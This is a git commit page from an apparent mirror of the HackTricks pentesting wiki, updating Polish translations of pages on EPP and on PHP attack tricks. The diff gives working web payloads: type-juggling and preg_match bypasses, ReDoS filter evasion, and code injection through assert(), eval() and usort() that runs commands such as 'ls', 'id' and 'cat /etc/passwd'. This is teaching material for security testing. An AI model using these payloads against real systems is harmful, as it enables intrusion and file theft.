Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-21 08:28:27 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ

Browse source
This commit is contained in:
Translator 2024-03-15 22:17:10 +00:00
parent 0d931eae54
commit 5c3d27fe97
6 changed files with 580 additions and 984 deletions
SUMMARY.md
network-services-pentesting
700-pentesting-epp.md
pentesting-web/php-tricks-esp
README.md
pentesting-web
file-inclusion
README.md
http-request-smuggling
README.md
xxe-xee-xml-external-entity.md

1
SUMMARY.md
View file

@ -454,6 +454,7 @@
* [554,8554 - Pentesting RTSP](network-services-pentesting/554-8554-pentesting-rtsp.md)
* [623/UDP/TCP - IPMI](network-services-pentesting/623-udp-ipmi.md)
* [631 - Internet Printing Protocol(IPP)](network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md)
* [700 - Pentesting EPP](network-services-pentesting/700-pentesting-epp.md)
* [873 - Pentesting Rsync](network-services-pentesting/873-pentesting-rsync.md)
* [1026 - Pentesting Rusersd](network-services-pentesting/1026-pentesting-rusersd.md)
* [1080 - Pentesting Socks](network-services-pentesting/1080-pentesting-socks.md)

39
network-services-pentesting/700-pentesting-epp.md Normal file
View file

@ -0,0 +1,39 @@
# 700 - Testowanie penetracyjne EPP
<details>
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Podstawowe informacje
Protokół Rozszerzalnego Procesu Dostarczania (EPP) to protokół sieciowy używany do **zarządzania nazwami domen i innymi zasobami internetowymi** przez rejestry nazw domen i rejestratorów. Umożliwia automatyzację procesów rejestracji, odnowienia, transferu i usuwania nazw domen, zapewniając standaryzowany i bezpieczny framework komunikacyjny między różnymi podmiotami w systemie nazw domen (DNS). EPP został zaprojektowany tak, aby był elastyczny i rozszerzalny, umożliwiając dodawanie nowych funkcji i poleceń w miarę ewolucji infrastruktury internetowej.
W zasadzie jest to jeden z protokołów, który **rejestr TLD będzie oferował rejestratorom domen** do rejestracji nowych domen w TLD.
### Test penetracyjny
[W tym bardzo interesującym artykule](https://hackcompute.com/hacking-epp-servers/) możesz zobaczyć, jak niektórzy badacze bezpieczeństwa odkryli, że kilka **implementacji tego protokołu** było podatnych na XXE (XML External Entity), ponieważ ten protokół używa XML do komunikacji, co pozwoliłoby atakującym przejąć dziesiątki różnych TLD.
<details>
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

312
network-services-pentesting/pentesting-web/php-tricks-esp/README.md
View file

@ -6,24 +6,24 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
## Wspólne lokalizacje plików cookie:
## Powszechne lokalizacje plików cookie:
To również dotyczy plików cookie phpMyAdmin.
To również dotyczy plików cookie phpMyAdmin.
Pliki cookie:
```
PHPSESSID
phpMyAdmin
```
Lokacje:
Lokalizacje:
```
/var/lib/php/sessions
/var/lib/php5/
@ -32,9 +32,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Omijanie porównań w PHP
### Luźne porównania / Type Juggling ( == )
### Luźne porównania/Type Juggling ( == )
Jeśli w PHP używane jest `==`, istnieją przypadki, w których porównanie nie zachowuje się tak, jak oczekiwano. Wynika to z faktu, że "==" porównuje tylko wartości przekształcone do tego samego typu. Jeśli chcesz również porównać, czy typ danych jest taki sam, musisz użyć `===`.
Jeśli w PHP używane jest `==`, mogą wystąpić przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, czy typ porównywanych danych jest taki sam, musisz użyć `===`.
Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -42,18 +42,18 @@ Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](h
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` - Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
* `"0xAAAA" == "43690" -> True` - Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym można porównywać z innymi liczbami/ciągami, a wynik będzie równy True, jeśli liczby będą takie same (liczby w ciągu są interpretowane jako liczby)
* `"0e3264578" == 0 --> True` - Ciąg znaków rozpoczynający się od "0e" i po nim dowolne znaki będzie równy 0
* `"0X3264578" == 0X --> True` - Ciąg znaków rozpoczynający się od "0" i po nim dowolna litera (X może być dowolną literą) i po niej dowolne znaki będzie równy 0
* `"0e12334" == "0" --> True` - Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować ciąg wejściowy "0" i pewną zawartość, która jest haszowana i porównywana z nim. Dlatego jeśli możesz podać wartość, która utworzy hasz zaczynający się od "0e" i bez żadnej litery, możesz ominąć porównanie. Możesz znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` - Dowolna litera w ciągu jest równa liczbie całkowitej 0
* `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
* `"0xAAAA" == "43690" -> True` Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami znaków z wynikiem True, jeśli liczby były takie same (liczby w ciągu znaków są interpretowane jako liczby)
* `"0e3264578" == 0 --> True` Ciąg znaków rozpoczynający się od "0e" i zawierający cokolwiek będzie równy 0
* `"0X3264578" == 0X --> True` Ciąg znaków rozpoczynający się od "0" i zawierający dowolną literę (X może być dowolną literą) oraz cokolwiek dalej, będzie równy 0
* `"0e12334" == "0" --> True` Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" i pewne treści, które są haszowane i porównywane do niego. Dlatego jeśli możesz podać wartość, która spowoduje utworzenie hasza zaczynającego się od "0e" i bez żadnej litery, możesz ominąć porównanie. Możesz znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Dowolna litera w ciągu znaków jest równa liczbie całkowitej 0
Więcej informacji na stronie [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()**
**Type Juggling** również wpływa na funkcję `in_array()` domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
**Type Juggling** również wpływa na funkcję `in_array()` domyślnie (musisz ustawić na true trzeci argument, aby dokonać ścisłego porównania):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -70,21 +70,19 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
Ten sam błąd występuje przy użyciu `strcasecmp()`.
### Surowe rzucanie typów
### Surowe rzutowanie typów
Nawet jeśli używane jest `===`, mogą wystąpić błędy, które czynią porównanie podatnym na surowe rzutowanie typów. Na przykład, jeśli porównanie konwertuje dane na inny typ obiektu przed porównaniem:
Nawet jeśli jest używany `===`, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na surowe rzucanie typów. Na przykład, jeśli porównanie konwertuje dane na inny typ obiektu przed porównaniem:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`** może być używane do **walidacji danych wprowadzanych przez użytkownika** (sprawdza, czy na **wprowadzonych danych użytkownika** znajduje się **jakiekolwiek słowo/regex** z **czarnej listy**, jeśli nie, kod może kontynuować swoje wykonanie).
**`preg_match()`** może być używane do **sprawdzania poprawności danych wprowadzanych przez użytkownika** (sprawdza, czy jakiekolwiek **słowo/wyrażenie regularne** z **czarnej listy** jest **obecne** w **danych wprowadzanych przez użytkownika**, a jeśli nie, kod może kontynuować swoje wykonanie).
#### Ominięcie nowej linii
Jednak, gdy określamy początek wyrażenia regularnego `preg_match()`, **sprawdzane jest tylko pierwsze linia danych wprowadzanych przez użytkownika**, więc jeśli w jakiś sposób możesz **przesłać** dane wejściowe w **kilku liniach**, możesz ominiąć tę kontrolę. Przykład:
Jednakże, gdy ograniczamy początek wyrażenia regularnego, `preg_match()` **sprawdza tylko pierwszą linię danych wprowadzanych przez użytkownika**, więc jeśli w jakiś sposób można **przesłać** dane wejściowe w **kilku liniach**, można ominięć tę kontrolę. Przykład:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -97,74 +95,38 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Aby ominąć tę kontrolę, możesz **wysłać wartość z zakodowanymi znakami nowej linii** (`%0A`) lub jeśli możesz wysłać **dane JSON**, wyślij je w **kilku wierszach**:
Aby ominąć tę kontrolę, możesz **wysłać wartość z zakodowanymi znakami nowej linii** (`%0A`) lub jeśli możesz wysłać **dane JSON**, wyślij je w **kilku liniach**:
```php
{
"cmd": "cat /etc/passwd"
}
```
Przykład można znaleźć tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
Znajdź przykład tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Bypass błędu długości**
(Ten bypass został przetestowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)\
Jeśli możesz przesłać do `preg_match()` prawidłowe, bardzo **duże dane wejściowe**, to **nie będzie w stanie ich przetworzyć** i będziesz mógł **obejść** tę kontrolę. Na przykład, jeśli jest na czarnej liście JSON, możesz przesłać:
(Ten bypass został wypróbowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)\
Jeśli możesz przesłać do `preg_match()` **bardzo dużą poprawną wartość wejściową**, nie będzie w stanie jej przetworzyć i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz przesłać:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
#### Przełamanie ReDoS
#### Przejście przez ReDoS
Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na bibliotece [PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane za pomocą wielu rekurencyjnych wywołań, co zużywa dużo miejsca na stosie. Można ustawić limit na ilość rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza rozmiar stosu.
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane poprzez użycie wielu rekurencyjnych wywołań, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
[Wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Nasze zadanie było jasne:\
**Wysłać dane wejściowe, które spowodują, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, co spowoduje, że funkcja `preg_match()` zwróci `false`, a aplikacja uzna, że nasze dane wejściowe nie są złośliwe, rzucając niespodziankę na końcu ładunku, na przykład `{system(<bardzozłałakomend>)}` aby uzyskać SSTI --> RCE --> flaga :)**.
[Wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) został również podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Naszym zadaniem było teraz jasne:\
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, że nasze dane wejściowe nie są złośliwe, rzucając niespodziankę na końcu ładunku w postaci czegoś takiego jak `{system(<bardzozła komenda>)}` aby uzyskać SSTI --> RCE --> flaga :)**.
No cóż, w terminach wyrażeń regularnych, tak naprawdę nie wykonujemy 100 tysięcy "rekursji", ale zamiast tego liczymy "kroki cofania", które, jak [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) mówi, domyślnie wynoszą 1 000 000 (1M) w zmiennej `pcre.backtrack_limit`.\
Aby to osiągnąć, `'X'*500_001` spowoduje wykonanie 1 miliona kroków cofania (500 tysięcy do przodu i 500 tysięcy do tyłu):
Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", które, jak [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) mówi, domyślnie wynoszą 1 000 000 (1M) w zmiennej `pcre.backtrack_limit`.\
Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Type Juggling dla obfuskacji w PHP
Type Juggling (konwersja typów) jest techniką, która może być wykorzystana do obfuskacji kodu w PHP. Polega ona na manipulacji typami danych w celu ukrycia prawdziwego znaczenia kodu.
W PHP, konwersja typów może być wykonywana automatycznie przez interpreter, co może prowadzić do nieoczekiwanych rezultatów. Możemy wykorzystać tę cechę do zaciemnienia kodu i utrudnienia jego analizy.
Przykładem jest porównanie dwóch zmiennych różnych typów, które mogą być równe dla interpretera PHP, ale nie dla człowieka. Na przykład:
```php
$var1 = "123";
$var2 = 123;
if ($var1 == $var2) {
echo "Równe";
} else {
echo "Różne";
}
```
Interpreter PHP traktuje te dwie zmienne jako równe, ponieważ wykonuje konwersję typów. Jednak dla człowieka jest to oczywiście różnica między ciągiem znaków a liczbą.
Możemy wykorzystać tę cechę do ukrycia prawdziwych wartości zmiennych lub warunków logicznych w kodzie. Na przykład, możemy użyć konwersji typów do ukrycia ciągu znaków reprezentującego hasło:
```php
$password = "5eba61e4c9b93f3f0682250b6cf8331b7ee68fd8"; // Hash hasła
if ($password == $_GET['password']) {
echo "Dostęp przyznany";
} else {
echo "Dostęp zabroniony";
}
```
W tym przypadku, jeśli podamy ciąg znaków jako parametr `password` w adresie URL, interpreter PHP automatycznie przekonwertuje go na liczbę i porówna z haszem hasła. Możemy wykorzystać tę cechę do próby odgadnięcia prawdziwego hasła.
Type Juggling jest jedną z wielu technik, które mogą być wykorzystane do obfuskacji kodu w PHP. Ważne jest, aby być świadomym tych technik i zabezpieczyć kod przed potencjalnymi atakami.
### Typowanie dynamiczne dla zaciemniania PHP
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -175,9 +137,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Wykonaj po przekierowaniu (EAR)
## Wykonaj Po Przekierowaniu (EAR)
Jeśli PHP przekierowuje na inną stronę, ale nie jest wywoływana żadna funkcja **`die`** lub **`exit`** **po ustawieniu nagłówka `Location`**, PHP kontynuuje wykonywanie i dołącza dane do ciała:
Jeśli PHP przekierowuje na inną stronę, ale nie jest wywoływana funkcja **`die`** lub **`exit`** po ustawieniu nagłówka `Location`, PHP kontynuuje wykonywanie i dołącza dane do ciała strony:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -187,18 +149,25 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Wykorzystanie Traversal Path i Inkluzji Plików
Sprawdź:
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
{% endcontent-ref %}
## Więcej sztuczek
* **register\_globals**: W **PHP < 4.1.1.1** lub jeśli jest źle skonfigurowany, **register\_globals** może być aktywny (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych, takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param**. Dlatego, wysyłając parametry HTTP, można nadpisać zmienne, które są używane w kodzie.
* Ciasteczka **PHPSESSION dla tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **różne ciasteczka są używane w różnych ścieżkach**, można sprawić, że jedna ścieżka **uzyska dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki.\
W ten sposób, jeśli **obie ścieżki mają dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 zostanie zastosowana do ścieżki 2**. A następnie ścieżka 2 będzie uważać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę, która odpowiada jej w ścieżce 2).
* Gdy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>**, aby sprawdzić, czy katalogi php są aktywowane.
* [**LFI i RCE za pomocą php wrappers**](../../../pentesting-web/file-inclusion/)
* **register\_globals**: W **PHP < 4.1.1.1** lub gdy jest źle skonfigurowany, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param**. Dlatego, wysyłając parametry HTTP, można nadpisać zmienne używane w kodzie.
* **Ciasteczka PHPSESSION z tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, można sprawić, że jedna ścieżka **uzyska dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki. W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 będzie stosowana w ścieżce 2**. Następnie ścieżka 2 będzie uznawać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą ścieżce 2).
* Gdy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>** aby zobaczyć, czy katalogi php są aktywowane.
* [**LFI i RCE za pomocą opakowań php**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Te funkcje są typowo używane w PHP do **generowania skrótów z hasłami** i do **sprawdzania**, czy hasło jest poprawne w porównaniu ze skrótem.\
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Należy zauważyć, że **PASSWORD\_DEFAULT jest często takie samo jak PASSWORD\_BCRYPT**. Obecnie **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz wygenerować skrót dla czegoś większego niż 72 bajty za pomocą tego algorytmu, zostanie użytych tylko pierwszych 72B:
Te funkcje są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD\_DEFAULT jest często takie samo jak PASSWORD\_BCRYPT.** Aktualnie **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zahaszować coś większego niż 72 bajty tym algorytmem, użyte zostanie tylko pierwsze 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -206,10 +175,10 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### Omijanie nagłówków HTTP poprzez wykorzystanie błędów PHP
### Ominięcie nagłówków HTTP poprzez nadużycie błędów PHP
Jeśli **strona PHP drukuje błędy i wyświetla dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP wydrukuje **treść wystarczająco długą**, aby podczas próby **dodania nagłówków** do odpowiedzi serwera wystąpił błąd.\
W poniższym scenariuszu **atakujący spowodował, że serwer wygenerował duże błędy**, i jak widać na zrzucie ekranu, kiedy PHP próbowało **zmodyfikować informacje nagłówka, nie udało się to** (na przykład nagłówek CSP nie został wysłany do użytkownika):
Jeśli **strona PHP drukuje błędy i echo zwraca pewne dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP wydrukuje pewne **treści wystarczająco długie**, aby kiedy próbuje **dodać nagłówki** do odpowiedzi, serwer wywoła błąd.\
W następującym scenariuszu **atakujący sprawił, że serwer wyświetlił duże błędy**, i jak widać na ekranie, kiedy PHP próbowało **zmodyfikować informacje nagłówka, nie mogło** (na przykład nagłówek CSP nie został wysłany do użytkownika):
![](<../../../.gitbook/assets/image (465).png>)
@ -219,13 +188,15 @@ W poniższym scenariuszu **atakujący spowodował, że serwer wygenerował duże
**\`ls\`;**\
**shell\_exec("ls");**
[Sprawdź to, aby uzyskać więcej przydatnych funkcji PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
[Sprawdź to dla bardziej przydatnych funkcji PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **RCE za pomocą** **preg\_replace()**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Aby wykonać kod w argumencie "replace", wymagane jest co najmniej jedno dopasowanie.\
Ta opcja preg\_replace została **przestarzała od wersji PHP 5.5.0.**
Ta opcja preg\_replace została **przestarzała od PHP 5.5.0.**
### **RCE za pomocą Eval()**
```
@ -235,23 +206,23 @@ Ta opcja preg\_replace została **przestarzała od wersji PHP 5.5.0.**
'.phpinfo().'
<?php phpinfo(); ?>
```
### **RCE poprzez Assert()**
### **RCE za pomocą Assert()**
Ta funkcja w PHP umożliwia **wykonanie kodu zapisanego w ciągu znaków** w celu **zwrócenia wartości true lub false** (i w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika zostanie wstawiona w środku ciągu znaków. Na przykład:\
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, można zrobić:
Ta funkcja w php pozwala Ci **wykonać kod napisany w postaci ciągu znaków**, aby **zwrócić true lub false** (i w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika zostanie wstawiona w środku ciągu znaków. Na przykład:\
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, możesz:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Będziesz musiał **złamać** składnię kodu, **dodać** swój **payload**, a następnie **naprawić** go ponownie. Możesz użyć operacji logicznych, takich jak "**and" lub "%26%26" lub "|"**. Zauważ, że "or" lub "||" nie działają, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz payload nie zostanie wykonany. Podobnie nie działa ";", ponieważ nasz payload nie zostanie wykonany.
Będziesz musiał **przerwać** składnię kodu, **dodać** swój **payload**, a następnie ponownie to **naprawić**. Możesz użyć operacji logicznych takich jak "**and" lub "%26%26" lub "|"**. Zauważ, że "or", "||" nie działają, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz payload nie zostanie wykonany. Tak samo ";" nie działa, ponieważ nasz payload nie zostanie wykonany.
**Inną opcją** jest dodanie do ciągu wykonania polecenia: `'.highlight_file('.passwd').'`
**Inną opcją** jest dodanie do ciągu znaków wykonania polecenia: `'.highlight_file('.passwd').'`
**Inną opcją** (jeśli masz dostęp do kodu wewnętrznego) jest zmodyfikowanie pewnej zmiennej w celu zmiany wykonania: `$file = "hola"`
**Inną opcją** (jeśli masz dostęp do kodu źródłowego) jest zmodyfikowanie pewnej zmiennej w celu zmiany wykonania: `$file = "hola"`
### **RCE za pomocą usort()**
Ta funkcja służy do sortowania tablicy elementów za pomocą określonej funkcji.\
Aby wykorzystać tę funkcję:
Aby nadużyć tej funkcji:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
@ -275,34 +246,34 @@ Możesz również użyć **//** aby skomentować resztę kodu.
Aby odkryć liczbę nawiasów, które musisz zamknąć:
* `?order=id;}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ';'`). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.
* `?order=id);}//`: otrzymujemy **ostrzeżenie**. Wygląda na to, że jest to prawidłowe.
* `?order=id));}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ')' i`). Prawdopodobnie mamy zbyt wiele zamykających nawiasów.
- `?order=id;}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ';'`). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.
- `?order=id);}//`: otrzymujemy **ostrzeżenie**. Wygląda na to, że jest to poprawne.
- `?order=id));}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ')' i`). Prawdopodobnie mamy za dużo zamykających nawiasów.
### **RCE za pomocą pliku .httaccess**
### **RCE za pomocą .httaccess**
Jeśli możesz **załadować** plik **.htaccess**, możesz **skonfigurować** wiele rzeczy, a nawet wykonać kod (konfigurując, że pliki o rozszerzeniu .htaccess mogą być **wykonywane**).
Jeśli możesz **załadować** plik **.htaccess**, możesz **skonfigurować** kilka rzeczy, a nawet wykonać kod (konfigurując, że pliki z rozszerzeniem .htaccess mogą być **wykonywane**).
Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul/htshells)
### RCE za pomocą zmiennych środowiskowych
Jeśli znajdziesz podatność, która umożliwia **modyfikację zmiennych środowiskowych w PHP** (oraz inną do przesyłania plików, chociaż po dokładniejszych badaniach może to być obejśc), możesz wykorzystać to zachowanie do uzyskania **RCE**.
